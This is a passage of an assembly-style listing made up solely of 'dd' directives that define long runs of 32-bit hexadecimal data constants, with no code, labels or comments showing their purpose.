93CF3895h dd 6B9C10BBh, 0DF4E8CA5h, 2E001189h, 29E7EA62h, 7E305D5h dd 0F6924AD9h, 0F1C680C7h, 493081FDh, 0D4D331E2h, 6395002Ah dd 4C3FEED2h, 5F00CE13h, 0EF251D53h, 3C3C7470h, 0B9067D87h dd 0E13F181Bh, 5F0D0F01h, 0CB3C7626h, 3A9E8448h, 25B0FA09h dd 94AFE711h, 66FC4000h, 0E8D73AF9h, 0D3F30709h, 0D09D0792h dd 0A72F23A1h, 987DE538h, 6F618C18h, 0A01203FEh, 92DDD3DFh dd 6DB27200h, 280D44E9h, 6FA404FAh, 8802058Bh, 0CB0027CCh dd 59C2BD14h, 1585368Fh, 0A049F625h, 0BC5B0315h, 6DD3F800h dd 41819F8Eh, 7AC8230Eh, 179AE087h, 3989E42h, 0B8843228h dd 91038918h, 0D61CC97Ah, 9D1F90EFh, 575E0C62h, 0B4218817h dd 55B9EC00h, 6959B88Bh, 477900A3h, 80CBFA63h, 5D0E899Fh dd 0A0E49129h, 7A8AB7B4h, 0FB95207Dh, 0A9B26101h, 530D2632h dd 8006B190h, 6D297413h, 7CFB004Ah, 0A738624h, 0A24803A3h dd 0E452234h, 0FC098F78h, 7C80F0B4h, 86603610h, 5D8C6200h dd 93FC7915h, 0FEAE7469h, 0F6774Bh, 0CE98EC9Fh, 2474B170h dd 0B4381DEh, 0D0097C64h, 2AD1D787h, 10968Ah, 128B54C0h dd 8DB6B0E8h, 0E444C155h, 6500EBA5h, 0CB9423BFh, 303DFA4Bh dd 75993CB2h, 8A000888h, 0D3B60AD4h, 2ED0A4BAh, 240436C9h dd 2EDB0048h, 483F16C1h, 0D6EDC201h, 938FFED1h, 0F3018822h dd 1C8021DDh, 0BE37F422h, 0F50EC3E8h, 83AE52h, 897963CAh dd 91050098h, 0FA4F73D6h, 0C3323DFBh, 60B98933h, 0C8E7BD9Eh dd 0E68047C0h, 0D35BFB90h, 0A49918h, 211B0140h, 9503AACAh dd 972352Eh, 4B9B88C0h, 0BA7000E7h, 837BB0D3h, 27FC260Eh dd 62CBA9C0h, 0E03808C8h, 6B612BBh, 0DF58402Dh, 0E7C33280h dd 7F007770h, 27F91EC1h, 58FDB45Dh, 53801803h, 8A37248Dh dd 228C80Ch, 0EA1933h, 1301882Fh, 350D1C70h, 382EAB14h dd 877100A0h, 0D27721C1h, 0C8914Dh, 58FEE495h, 80004B02h dd 9A54087Eh, 7C31B45Fh, 749518A4h, 63C5B922h, 21AFC000h dd 67D49D0Eh, 4CA82459h, 874439F8h, 0AC00837Dh, 7673043Dh dd 13DC5EF8h, 0FDD8D5Bh, 14EF209Ch, 0C831B104h, 0FE05748Ch dd 0E610E525h, 0BD44CC40h, 96292D9h, 0E12A4C79h, 74E4DC80h dd 13001D63h, 0CECBBAE9h, 0A4933960h, 0F62004ACh, 0CCE0D3F4h dd 83014438h, 670A36FEh, 9070E55Dh, 664B01FFh, 26E676F5h dd 9C89800Eh, 0FC22CB88h, 0B0EC0181h, 18514B56h, 0B3218033h dd 0CEF9F6E9h, 0B0C01939h, 1131F806h, 76DCD695h, 0FCB851h dd 93199092h, 0CDF9A33Bh, 95C08B03h, 20B8574Ch, 6F133031h dd 0A8033F5Fh, 23934Dh, 39382989h, 0CE80527Bh, 0ED420502h dd 64026BBAh, 13205800h, 0B600CB3Dh, 9818B044h, 1E307213h dd 0F88758D9h, 925B017Ah, 5AE1A675h, 0EFA13BE8h, 0FAD1B003h dd 0EC50E090h, 0E39F1E88h, 64051CE5h, 0DC1B4344h, 757F90DFh dd 39F28B99h, 20B8B9CEh, 22A655F8h, 0C7E001A2h, 0AAEBA8C3h dd 7AC88404h, 0D6403E74h, 98BB67FEh, 47C8630Eh, 0E9A9A068h dd 54181002h, 7B82AC20h, 57990090h, 7F35AAB6h, 40E58068h dd 38253CFCh, 0BB473000h, 8372CEFDh, 0AE3D2C99h, 0C515C030h dd 49120D10h, 4805E63Bh, 484219Fh, 360ACC8h, 6A79933Fh dd 0E188781Ah, 5B268821h, 4D11B0DDh, 675C3D2Ch, 840BE125h dd 0FE6AF550h, 73FAA461h, 942C0068h, 351A88BAh, 913106ACh dd 7141BC8Dh, 80404948h, 1A36F811h, 0E8C400B0h, 0A8983954h dd 12363D97h, 0E29B262h, 0C4BFADD4h, 0AF5CFB81h, 4FE44048h dd 96E89041h, 1FE67598h, 0F11C910Fh, 0CA8D64F7h, 5C57B0C8h dd 58F34B7h, 0B24B6580h, 9613ED44h, 1020A58Dh, 3A5E41C1h dd 0FCE739h, 6CB0BACCh, 76B85B0Dh, 0C01B41CEh, 296E6443h dd 7AB0004Ah, 74EC185h, 0D202DB0Ah, 26E5B6FCh, 4BC44F6h dd 0EC2A2276h, 7B288142h, 498BD868h, 0BD56CF12h, 3C09F425h dd 16F4076Fh, 1350909Bh, 5ABA0029h, 0F36375F7h, 0E407A291h dd 0CBE22714h, 8099AEFFh, 0EFE58892h, 184C4C15h, 9A25911Dh dd 8C468141h, 0E801EE00h, 44A9519Fh, 108048D0h, 72C5EC00h dd 0E460FBD3h, 1319092h, 951790E7h, 0B6A7A180h, 0C67469BDh dd 93906017h, 0E1531420h, 9BF0E17h, 0B4A0D5D4h, 0E688566Dh dd 45A93D00h, 1BFD1D38h, 19F900ABh, 8BE124C9h, 442820CDh dd 0FF3AB4DBh, 19696018h, 0F15A934h, 50B35894h, 87FE5BA0h dd 0C226CBA4h, 166004ABh, 1F65ECFh, 0DB71D45Dh, 36B956C4h dd 248C049Ch, 608C32BFh, 8B1788DFh, 1A5729C0h, 18AF636h dd 0DC3BCFD8h, 0C0758388h dd 9F3B8F26h, 94E63906h, 6DCEA01h, 0E44922EDh, 9BC50049h dd 0B73279FDh, 0D5076711h, 8BF2A561h, 0D353857Fh, 0BE8AA802h dd 28A061B2h, 0C12F74E0h, 82590A1h, 5CC01726h, 7A6ABD96h dd 6661C049h, 88A38673h, 9FCE100h, 3C4ADF2h, 87500782h dd 4114B99Eh, 30576C98h, 1C002930h, 4A2328E2h, 0C1E04E58h dd 0DEA1E49h, 0B7FFECE8h, 1DAFD200h, 2F8CCC72h, 8B282610h dd 93F70170h, 610C75E3h, 0A16FD428h, 0B1760300h, 19A4DA9Eh dd 9C945418h, 0C11F3A9Dh, 0F18B4582h, 505A7556h, 5A773A00h dd 0B4669927h, 0EF9B007Ah, 5DDF21DAh, 8AE00F68h, 0B01CFC09h dd 0CDC0057Fh, 79F24C8h, 41D0D6D5h, 806BA55Bh, 684CB634h dd 0F3D5490h, 0D08D93CFh, 0DA983890h, 24C07C88h, 47B81526h dd 2121BD3Dh, 0B092F254h, 8370B060h, 6628CBFCh, 6A00CCD7h dd 22873DB2h, 0C042A58Eh, 9A755789h, 230468CBh, 18CF9763h dd 78F01889h, 0C54016ACh, 0A9DF0056h, 9272C81Ch, 8181507h dd 0ACBEA49Ah, 553177h, 0CD43D6Ah, 2AABF53Fh, 780F2903h dd 7590231h, 0D0C62271h, 4015A7E6h, 2BBE0E45h, 267D0B04h dd 70A754B1h, 249D4400h, 25C899DAh, 85047175h, 3C94F873h dd 438FE460h, 0BAC62807h, 172174A5h, 0AC408BABh, 0B11E2F7Dh dd 1DEF80E0h, 8805A042h, 0AA6AF31Dh, 0C7B19805h, 1E429C1Fh dd 0C6AF577Eh, 441092D0h, 1D7DC38Eh, 0F2E1E200h, 6E27A118h dd 0C7D01821h, 1E66707Eh, 28EA3CB8h, 0FECBD1C0h, 7B3D89FAh dd 0CEC91EC7h, 333ED68Dh, 0A7D007B4h, 917B5961h, 7ECAA105h dd 9C2003FEh, 0E948FABh, 0DB205E1Fh, 0B3DA51A1h, 9770A083h dd 389C03Fh, 0FCFB6CE9h, 0C4C9C53Dh, 707535F0h, 6241140Eh dd 84C6D8E1h, 540034DCh, 9ABAFF68h, 675F2Ah, 8AECB51Bh dd 7F03A691h, 57808605h, 0A881668Dh, 383D7447h, 0B68F9200h dd 34C38835h, 89004F74h, 5B71016Ch, 0A40559DAh, 0A8D000E4h dd 421AFAC6h, 0F702467Ch, 195DB41Bh, 6E50405Ch, 70BE0972h dd 948EA1E4h, 0A386A9EEh, 571A4155h, 0C6B98AA5h, 1B975F4h dd 0D307514Fh, 60E24589h, 0E4883F60h, 7D291212h, 497C02F4h dd 0A844BF8Dh, 42F260F0h, 18AE213Eh, 4A6940A4h, 744B00A7h dd 0D1C9641h, 10FB1ECh, 1F26E6DEh, 0D3B779F0h, 7CFA1387h dd 22E831E1h, 0C692ECBEh, 0E4B2BD00h, 0FC144849h, 0F2F0046Ah dd 534D1B26h, 0B3F24C8h, 1D210589h, 65B0E802h, 13003446h dd 0CA1097C2h, 0F00936FAh, 1ADF1DF3h, 0E09322h, 0FDCB035Ch dd 7D4EB7E6h, 13FCC020h, 0C55E014Ch, 0F72558A4h, 0B05C504Bh dd 66091463h, 10039AB9h, 12B49240h, 0EC80775Eh, 0A65B165Ch dd 0C16DD862h, 0EA104284h, 8C04AE03h, 0F1EBFAC2h, 0D9243EC1h dd 62EA020h, 19E0023Ch, 0D3004177h, 61449249h, 0A8C756E4h dd 5A7F2E6Ch, 76020A9h, 0D7E818C9h, 1E00D3FCh, 0BCEC4739h dd 7E7A35Ah, 19C194FBh, 996A244h, 0BA5D1440h, 66D1D501h dd 0E61B70B0h, 0F7B5D070h, 83B809D3h, 8CB00A25h, 0E54BFB21h dd 64727C20h, 996A005Bh, 2171EC5Dh, 0EB00BACFh, 12D9261Bh dd 48F692B1h, 82C09CDFh, 0CCBEB80Fh, 8600ADF8h, 98210224h dd 94497BFEh, 0A1CE8090h, 72E44A53h, 62D07002h, 82E76D80h dd 0E141ECF4h, 66CA0E80h, 0A0DF004Ch, 7159B001h, 2000E616h dd 0A587EC2Dh, 17AC647h, 0FD1FFCBAh, 28DC5CFBh, 0F319809Ch dd 72569AD1h, 5D020073h, 37A03A31h, 1005C184h, 0B4ADBFCCh dd 406DD080h, 7BE8C8h, 0BE739666h, 0E5CCB575h, 8705FF00h dd 195620C1h, 9262BDFh, 0B91269Ch, 2C9048B1h, 0A51E9FFDh dd 0E55696C4h, 6A121300h, 2153DA8h, 0FCB7692Bh, 0AC485006h dd 30E6F54h, 0A3DCAFF1h, 0E0E2976Dh, 0A83268Ah, 176C7EF8h dd 82BA0068h, 0B5010CABh, 7B672B0Eh, 0D2186121h, 86DC3D52h dd 0BD27054Fh, 88492EE3h, 31246BFCh, 6D00EC75h, 51CFA97Ah dd 2B41000Eh, 882CE886h, 0AA1E70B2h, 578DFBD9h, 506039BCh dd 21834ACCh, 0DCED8900h, 5E76F31Bh, 0FD0BC8B0h, 804441C6h dd 398163Ch, 0DCD9C052h, 0E096738Fh, 0AF1FB600h, 635DC045h dd 6EA6027Bh, 0CF092A50h, 0A57388E0h, 0BD7876E6h, 195AD5B0h dd 49476840h, 4CDBB23Ch, 0DE00CA3Fh, 0FD42800Fh, 200EB4Eh dd 1973CA4Ch, 430BB04h, 4BA4E3A7h, 0B0B290h, 0BD6E75CDh dd 90C5AE28h, 94B7099Ah, 40643274h, 245B6303h, 98A3B9F8h dd 13D8EF2h, 0F0F1527Ch, 6C35789Bh, 2D410168h, 0CEBAD3BEh dd 30DD6CC4h, 0AD693C93h, 2F01B7CFh, 0D6915015h, 8BF03952h dd 4F0B0044h, 26D83DDFh, 31C74CB0h, 0DB7275D1h, 454C216h dd 68B09DDDh, 0A78D5087h, 97717C1h, 0CA440972h, 0D048D487h dd 0DD255B74h, 85F8ED74h, 227BCBF6h, 0B6595060h, 0AA49DEh dd 520EA723h, 9030AA0h, 204D0B2Dh, 7689A370h, 237400D1h dd 0D69E1A57h, 0F4754526h, 2B25D20Ah, 7E09CCFFh, 6D206875h dd 93A94CC7h, 712B9500h, 2EF499FEh, 47A80C1h, 4E035905h dd 78779DC0h, 8363A63Dh, 4A5D1670h, 0D6969050h, 0C37D2DCDh dd 2C124810h, 1100C97Ch, 0F76F7080h, 3F556867h, 0E7B25B87h dd 8C814788h, 6F1F80h, 479C43Fh, 3DCCBAECh, 687489C3h dd 0D55B812Ch, 70F88FB3h, 4F480FDDh, 0E12A3B74h, 697627A4h dd 2EA8FD14h, 0C640F8BFh, 303C1129h, 9E513DD5h, 0D74AC0DAh dd 86F87820h, 9DF201ACh, 93A4ECFCh, 51351126h, 69F7DCh dd 87437628h, 52FB69Eh, 3A615460h, 0C4F9A94h, 598A1EBBh dd 46136C68h, 74201747h, 1A99F87h, 2CF3FECCh, 3C6C0CA2h dd 0D35F01B4h, 0E33BDD8Fh, 14E57060h, 0FC7566ADh, 0C6E9A680h dd 0DA4CDDB8h, 0D64E0505h, 0B4C89317h, 6BC90EB6h, 0AA002403h dd 1776FE1Ch, 2A80689Ch, 9D482722h, 20574B59h, 0D5071CA0h dd 37005490h, 0B61AF8B5h, 25C4548Bh, 88111429h, 26B70C6h dd 3989DF0Eh, 95EA2017h, 5DBF6Ah, 0D05F4B67h, 7E59066h dd 8B755639h, 0E8B8572Ah, 140B0A20h, 0F07B8D5Bh, 0BD007E3Fh dd 24608AD3h, 4B269616h, 0FC402C02h, 0F8BEB03Ah, 866900ADh dd 0D2478F0h, 0DCB9D88Bh, 26608099h, 503B9311h, 0C029F284h dd 0BBA5DC00h, 0F0A6400Ch, 869D00A9h, 2D2C4473h, 24916457h dd 0FC03FC12h, 0A11DB313h, 1304E40h, 0D1FB120Ch, 954C4B9Bh dd 8AD0E900h, 0A4BEF625h, 61741AAFh, 7AF69E68h, 6CB7008Ch dd 4C12971Dh, 8202DAD6h, 0BBE670D2h, 648C820Fh, 181B2077h dd 523EF1F5h, 0CCB2294Ah, 25770A83h, 9071CE14h, 0C6E144F8h dd 65005FEEh, 0EF91DCBBh, 0DFAF1Bh, 0F7964B5Ch, 5E7A283Ah dd 0FB6ECB78h, 0AE2651A8h, 267E03E8h, 59005814h, 0A43E75CEh dd 2AF05E74h, 64235Dh, 0FE80F8E7h, 0CBADDB9Bh, 7588AB50h dd 69BEED09h, 852F0FCAh, 2482D308h, 0E0E666h, 5C3485F0h dd 3C87C47Dh, 18A9D00h, 57650516h, 0CA03018Dh, 6D368F96h dd 7C7C34F4h, 8A483465h, 0C5A83C81h, 4CD05570h, 0B63B8887h dd 0F88004CCh, 6C1231A1h, 0F68C7600h, 6D25EA5Dh, 0D4A016FDh dd 10A83042h, 0C001A26Ah, 7D5BEA71h, 0C9D92969h, 7E9EF670h dd 3F2F181Bh, 0FB60D896h, 5EC3948h, 0C33C853Ah, 91284A3h dd 8D8CC85Bh, 0B044CB5Fh, 48F3B757h, 80E07026h, 3C5912C6h dd 549C39CCh, 2E424B44h, 6050A0E1h, 121BA826h, 437BFD02h dd 918804Fh, 24D61D49h, 777BCEAh, 99454119h, 0F2041080h dd 963EE3B2h, 806848E6h dd 8E58BABDh, 0CA59007Ah, 0C150BB37h, 0CB02D76Bh, 920E189Bh dd 4E54C116h, 35E16D10h, 0B1234300h, 5A603309h, 982028C2h dd 0CA7A01D4h, 453AAB80h, 6A78A803h, 108E6027h, 0FC4ACB40h dd 0A0990087h, 469E88AFh, 0B8B40502h, 0CFDD8687h, 0E76C4FF0h dd 19C0613Dh, 0E1FEAA46h, 0A904CB2h, 0EC48488Ch, 0EDD461C0h dd 23C79FBh, 78B13816h, 60E6226h, 0C1355100h, 160F8D43h dd 2074E06Dh, 8BBDF46Ch, 4FE1662Eh, 0BF25D800h, 0C800968h dd 597442CBh, 0CF7B5029h, 0DE4D6600h, 0EE076F81h, 0AD450FD6h dd 1300BEF8h, 3C7E3F75h, 8920C659h, 43E98085h, 190AECDh dd 91E6B53Eh, 0C1B7FA09h, 0A42C20FBh, 3D268800h, 0B5EF1C90h dd 797F1EBAh, 0FA1B075Ch, 1D460112h, 58F0787Dh, 53A0122Fh dd 4208E882h, 8B30B13Ch, 6970A0F2h, 0DD0362h, 0A2B50CDh dd 6E9921ABh, 0B42F022Ah, 1EDE8C00h, 967E3682h, 8700BD9h dd 10E42EF9h, 233BBC00h, 519860FDh, 39D700CDh, 9B471B57h dd 0AB061026h, 900F5CE3h, 17FF2580h, 149DFCA0h, 10984557h dd 7889B000h, 0C0D8AFDDh, 8D5E09F0h, 0F8680247h, 9900E119h dd 9FBBC511h, 0A43ED43Dh, 4A1B22FCh, 0E360B679h, 0D8AE5519h dd 0B414971Ch, 2CCD8E28h, 0D40AA098h, 98965D44h, 1660842Ch dd 73172835h, 3C991E40h, 5A0900C8h, 21AEB8A2h, 89D95F03h dd 9DE488ECh, 12CAC01Fh, 7A40F04Dh, 1F1BB95Fh, 28E80F51h dd 18E11258h, 0A3B7052Ch, 0CE54C12Eh, 0CD87D12Bh, 29082FCh dd 6235CACBh, 907C7A14h, 0A0A6F019h, 0F0EBB308h, 594044D0h dd 3C03B909h, 8860E8C1h, 0A8390B32h, 449074F5h, 9300126Ch dd 71C18FE4h, 0A0ACCC5h, 90D1FDDDh, 3D4439A4h, 0C033AE22h dd 0D6418759h, 0F8945DD1h, 72EE4541h, 2CE6D7E4h, 26884813h dd 9F1C011Ch, 297490EBh, 0E0100080h, 1973C52Bh, 29A700F6h dd 1C1E6485h, 0FD0B2D24h, 4C8FECEh, 30C27870h, 0FF842F59h dd 0B08A237h, 0BDC6E3h, 0DBB62499h, 4FEA031Bh, 8D0EF08Fh dd 89F702Ch, 3892CD12h, 70C89049h, 0D2F9024Fh, 111D1FA0h dd 104B64C1h, 12AA7E95h, 5C25A58Dh, 0D8690Ch, 0CF3BDBD5h dd 2301C2Ch, 94C75956h, 68B60E79h, 71C08EAAh, 0FDCA9DFCh dd 93299914h, 88852EECh, 0BB2C5600h, 0A8428111h, 4AC78C20h dd 759F8F6h, 848909D3h, 0CA989DF0h, 1D5B0E9Fh, 8AC00B8Ch dd 0CE0CBF68h, 720F491Dh, 5789F840h, 180D1BC1h, 0FAFE56E4h dd 649E1764h, 0CA2C9C80h, 2D7195h, 81FEA11Ch, 73FBBCB6h dd 26350501h, 8227C699h, 90EC360h, 0A2017C52h, 0BC102809h dd 58B1B157h, 58D1E302h, 85218h, 0AEE1D8F8h, 8D56AC15h dd 0A294B603h, 0C0CDE296h, 24356E83h, 40F419E4h, 0DB6A18A8h dd 900E65EAh, 61D63BB7h, 0C347350h, 0C6929440h, 0CBD50141h dd 46B99C6Bh, 14A820E9h, 9EC5E59h, 0D9FC9087h, 42720018h dd 4567A9Bh, 0BD1E1F2Ch, 8C101B00h, 0F15CFB1Ch, 0AFB4408Fh dd 0EC010AC0h, 0FF059A8Bh, 6C921C6h, 6DCEC420h, 7F260010h dd 77352FD7h, 0A7F067C6h, 102CE225h, 77D832Ch, 0CF35199Dh dd 474930F9h, 69004CCBh, 0DEBE6397h, 0F99286AAh, 4F008072h dd 88692874h, 9CB0E60Bh, 0B291522h, 0FE14A898h, 0E600D864h dd 9458C79h, 3E477DBBh, 5983210Eh, 5A93D0FCh, 0EB1C391Eh dd 0A7A11F40h, 0E4447328h, 8C4D07EFh, 60BAEE6Eh, 93C1C67Dh dd 1C48A801h, 0E2568ECh, 0B0C03C44h, 3878D53h, 0B63412C1h dd 0B1003748h, 0BE30C902h, 8DF5B9h, 7CFC01D6h, 3C0490E6h dd 92F8D44Ch, 1C8E0031h, 2669A620h, 13F03356h, 16AC25A5h dd 81A7B0B0h, 0DE6C809Dh, 5ACBBDh, 7E5F1D76h, 57BF8D91h dd 0E311D491h, 0D3D4C800h, 9A2E4A0Ch, 0F6594500h, 0FC1EBDC9h dd 26F7185Bh, 2B9C810Ah, 0E570E178h, 9F2675FAh, 0DB02A098h dd 0E6AA3F10h, 0B3F74800h, 4840E501h, 0C449995Eh, 5201EDA3h dd 8CF8C376h, 202AB057h, 7BB9FCE0h, 0E6821A0Fh, 0A82E0189h dd 7030FBC7h, 94744C77h, 8180418Bh, 76CF903Ch, 73CA9400h dd 4B66D707h, 80BCB618h, 0DA789AFCh, 38045EB0h, 48CED30Eh dd 54CC8h, 0BF7DCB44h, 9178E737h, 1162AC00h, 0E974FBA8h dd 288509E8h, 8428E49Fh, 7D6E60C0h, 51166721h, 8888632Fh dd 1EAFCF5h, 0B9B3E79Ch, 2A0275DCh, 9410F040h, 1293EFACh dd 0C6F6547h, 743917F4h, 0E60098A4h, 0D7088732h, 9AFEDAh dd 82671CEDh, 42C61039h, 64F46B27h, 0F5E0012Ch, 61888F37h dd 0DC027036h, 3EF24B00h, 0FA2AC31Ah, 92AF4A3Dh, 8C901758h dd 0E60091C9h, 0D866B80Bh, 4803BAh, 686EAF59h, 2D3F4F79h dd 6C400CB6h, 1E6A55EAh, 0C0978C16h, 0E5C99B3Ah, 0EC0092B0h dd 2A64DA45h, 3D4691E1h, 39604DDBh, 76F0D8D4h, 697EB57Dh dd 240081E8h, 0CDD5C885h, 55A888h, 58F86BAh, 46FCB87h dd 0FC22EBh, 0F0B79D99h, 2E0FC3h, 8BA427F7h, 10DC8AE0h dd 29DF5901h, 0FDFFCBB0h, 4B229EE4h, 0AF4400A9h, 21396AD5h dd 0C8024B25h, 41EB76Ch, 65D0F346h, 0A22CAD68h, 81E898E6h dd 36394CF3h, 0F9F58900h, 72C188DFh, 6DB82E73h, 629DE201h dd 9141BA3h, 4F95F9D0h, 0BED480E6h, 2B1FA578h, 0E58AAA1Ch dd 5408C4Eh, 0F4E85Dh, 0D6AEC740h, 120FAD74h, 1FCCB000h dd 0DEA4F70Ah, 211730FAh, 57CD289h, 39B97200h, 4E59A12Eh dd 33500070h, 4212550Bh, 0AA00A554h, 9384870Fh, 9E66D094h dd 9E7B4060h, 0E6031DE2h, 0F8DA067h, 93AEBB2h, 0C66A0D91h dd 0C20C0900h, 0ED001D7Ah, 96EFFECBh, 0B0EB78h, 0D7373C72h dd 909BD05Fh, 0A7021B7Eh, 0B1660614h, 73D049E0h, 39ECC28h dd 97438AC6h, 9F34CCE0h, 7E20D439h, 64A15400h, 79778D5Bh dd 9D840197h, 0AA04703Eh, 0E84461D6h, 57332D6Fh, 130A1BEh dd 1BB9860h, 2C25AF3Ch, 8027883Ch, 0D18A7BCBh, 14F84220h dd 0CD07BCB9h, 8089E9FBh, 0B1B52BBCh, 0D9C20254h, 535FBE1Ah dd 8E7D5CE0h, 0FC8B009Ch, 0D2FD00E6h, 0F009FA56h, 13A898E5h dd 90187CB8h, 8ACEE694h, 7F0C2C00h, 3EBCC0FBh, 0F1E2045Eh dd 0C8191094h, 0AA0F9614h, 7E681514h, 93FEBC3Dh, 0D860A77Fh dd 1C51198h, 0DD8F3AB5h, 3E178650h, 87C0D45Dh, 0A0C5EE47h dd 0FE7C1C23h, 1EB86C8Fh, 9BC92FBh, 0F1806F78h, 7DBAD960h dd 0CA2C877Dh, 0D0029642h, 63572189h, 914EEA43h, 68D4E3F8h dd 0C24A1E09h, 6354C086h, 27449987h, 0BB789506h, 3B382ED4h dd 31223DCDh, 0C8938F27h, 0EB2F298h, 0AD1C08A3h, 446AC93Fh dd 0F800E0C4h, 501ED2AAh, 7D8B3FAh, 0EE9FD935h, 0D7403F10h dd 720B7130h, 0B10810B5h, 36AB0B8h, 8431FC96h, 0BAC035D4h dd 4A05B7E4h, 986ACD04h, 0B9039CA2h, 8BA632C4h, 78A2ADh dd 0F67BD6E3h, 0CDBAACh, 12EFC657h, 32DDF150h, 3462BE26h dd 0B6FE4B01h, 203E1AA8h, 7B8EC310h, 0E05DAA0Bh, 0E9007DD0h dd 0E670D5BAh, 5C2F00BCh, 162B00F4h, 0D2C4528Bh, 22B03B4Dh dd 56B02632h, 5D253BD3h, 0D93FA090h, 0F1DBFC00h, 0FE861388h dd 3C4B4830h, 94041F04h, 5A78A449h, 27255503h, 0CC807917h dd 44DCC8h, 0F89A2C06h, 7C29C78Ah, 39D4302h, 0E33DE4C1h dd 31294F9Fh, 0FA499374h, 0FCDFA020h, 18A304A2h, 0F2B05BDAh dd 33A91188h, 3D7BC101h, 30DD788Eh, 0BE027A4Ah, 48136F05h dd 1685E04h, 962C7392h, 2AE6C5ECh, 0AEE3023h, 0E80F1B32h dd 0C558008Ah, 2A1D8760h dd 967EC100h, 9A829BFh, 6059589Ah, 638211C0h, 0F0B5B4Bh dd 0CCEC7Bh, 0B96ED7BEh, 41C7040Bh, 0C8197E57h, 4E1D9A84h dd 0AF07728Ah, 7BF0163Eh, 0F41B94h, 909FACD3h, 0FE49E06Fh dd 29873D16h, 0F700B4B2h, 4773F821h, 3B007860h, 2C7E386Dh dd 0A14CC94Bh, 8FF8FEF0h, 0A27227D0h, 0EB03A044h, 894532CAh dd 543D98B9h, 0DD6B007Bh, 0E83C3E18h, 0B600CB1Eh, 0BCFECA04h dd 9F06989Dh, 25BA5402h, 3D429C7Eh, 12A446D5h, 904DC342h dd 0A5D77400h, 0B095100h, 1B412310h, 0C89A00E3h, 0B07E65C4h dd 0AD13B1C9h, 64024506h, 5181FD7Bh, 9BAF3D78h, 0AF076C7Ch dd 13043B8h, 484042BBh, 96C04494h, 89362232h, 0CFF22098h dd 9D0B09E2h, 0FF17F59h, 0E90CE169h, 0E4333152h, 76D65A0Ch dd 0AB00BC9Eh, 0C26B603h, 5C0229h, 0D12ED567h, 0FECD8A53h dd 2BF94B16h, 0B2C0E0h, 0E71843C5h, 0CB8DEE3Fh, 57892E67h dd 40929BE4h, 1AA8C003h, 3D50042Dh, 0B90204EEh, 805E3CA0h dd 9D2B3374h, 15EB97h, 0BFAAFF99h, 17A5A05Ch, 9301FEE6h dd 2D3C23C6h, 23FCDB1h, 2BE01264h, 0DF008046h, 0B8FC102h dd 28BE2D4h, 0D253DC98h, 20C60D26h, 0A034809h, 0FD7C70E4h dd 84607E12h, 0CB006C72h, 66D1FD70h, 0B8B4E525h, 0AE630180h dd 5A2EB37Ch, 98B6E079h, 0FFB12809h, 60AC1203h, 312309F5h dd 0FDA09B2Fh, 16E450E4h, 449E8FF8h, 58B3A41Dh, 0A5B0C001h dd 8978177Bh, 0D0FE006Ch, 0AFBBE91Ch, 97A66D01h, 0CD3C87B2h dd 90C04C3Eh, 61F18558h, 0FB40F890h, 892C109Fh, 1EC0E26Bh dd 0FCEB4FC5h, 0A1853CC8h, 58FCC0BEh, 0B9007F3Eh, 0D4A81B0Fh dd 0B5DA0CCCh, 0E50AC083h, 0F36D70A7h, 6C5C4C91h, 0C274C064h dd 798297h, 51809935h, 0CB9AEE2Eh, 0E928A101h, 5EAD6F1Dh dd 0EB48073Fh, 9BDF4090h, 9A9FEFE6h, 6F7FC084h, 738D0B57h dd 80E45B77h, 288C39h, 0E6562C9Ch, 306DE191h, 53F08F59h dd 2A09435Dh, 0D8F38BECh, 0CA66170Ch, 129BEC83h, 58C92547h dd 10790820h, 5703E6h, 5B0E9A4Eh, 771A672h, 0AB68580Ch dd 2C76109Fh, 9604EDD1h, 5E69FF89h, 1AC9C8B9h, 29C53100h dd 8B0DF6DEh, 215193E3h, 1ACDAE8h, 0C79BCF05h, 0E2AE97CDh dd 4F404854h, 0AB0338h, 0A8F7EE9Eh, 0DE345777h, 0E82B4209h dd 2710C011h, 19E62953h, 0FF30084h, 0F570CAB7h, 70403EF3h dd 0E8D908BCh, 2662007Bh, 0BF93A17Dh, 0D600ABAEh, 0FC7E6D73h dd 6F9F3Dh, 0E3A3FA1Ch, 72C643B5h, 0DA988401h, 0BEA28DE1h dd 0A4DE4E02h, 63A44340h, 0E3990FBCh, 0F280718Fh, 6E0447E9h dd 0D1B30305h, 0A82D30h, 0D4F21180h, 1D1558E0h, 3BD05DE4h dd 100CA548h, 610AC0h, 0D151606h, 0D65D918Bh, 446CD200h dd 0CF22737Ah, 0E8010794h, 0C04228C5h, 0CA8DE643h, 80BC50B1h dd 3BC407CFh, 920684Bh, 0DA3C03A7h, 0D420844h, 9C313050h dd 0D8D7E09Ch, 0C50BA23Ah, 9119C127h, 316074E8h, 9A1F00B9h dd 0BD0CD548h, 0AC0BF9BAh, 12645BE1h, 40285E58h, 45FBF39Ah dd 246C8603h, 0A1B7767Ch, 0F87C93A5h, 55D59080h, 0F500CC7Eh dd 34ECE473h, 0A67D3Fh, 0F9D188EEh, 0BB5BEF63h, 944250A2h dd 0AF43EC5Eh, 8969C071h, 0CD3D2DE8h, 0E00130A9h, 2E910312h dd 0E2ACA820h, 0B8860EBFh, 7AA0807Dh, 4EBBC9DFh, 74EE673h dd 3E56DCC8h, 0E581360Bh, 0E4FA994Ah, 205B0290h, 0C7D60A60h dd 52000D72h, 6BE0E7E8h, 94FD2B0Fh, 0B27A4000h, 0C5E8C95Ah dd 43014702h, 208C1820h, 7FE5FA66h, 656EE200h, 817ECEEDh dd 0B6DC0214h, 180A5420h, 4880B459h, 3617F86Eh, 204E8EFh dd 78FB88A5h, 0B87E2A63h, 0E2331F40h, 0F72801CDh, 9EBFDB35h dd 0D2C5D9F8h, 0BD00EC46h, 0A9CDE171h, 0E65E0415h, 5538001Ah dd 5F025309h, 1C7E45EEh, 8EDABE00h, 0C31BC196h, 9F3B001Fh dd 23C5124Fh, 91273DF2h, 0D76490A4h, 268EB0D6h, 2C75E40Eh dd 7C4300A2h, 0CB7BFC2Ch, 2D3D83Dh, 26137306h, 93D454B3h dd 0F028A403h, 5E221B00h, 1418BA17h, 0A1EA1879h, 2E5CC24Fh dd 1B8F1500h, 9969F0B8h, 0EDCC343Dh, 483CA2F9h, 0E7310034h dd 57380BD6h, 0D30D130Ch, 0DBE104ABh, 3F248818h, 0A379CF01h dd 9F83FBE0h, 2EA4023Ah, 3CD49356h, 66F96140h, 9E920098h dd 0AC2D2AA4h, 403C240Ch, 959C0937h, 4BA81074h, 0A8542CE9h dd 1B90428h, 8538AC93h, 0B9006188h, 2EBCE52Fh, 5729048Ah dd 0C0F90BEDh, 31FD1098h, 624FF098h, 3805ACC8h, 2080289Fh dd 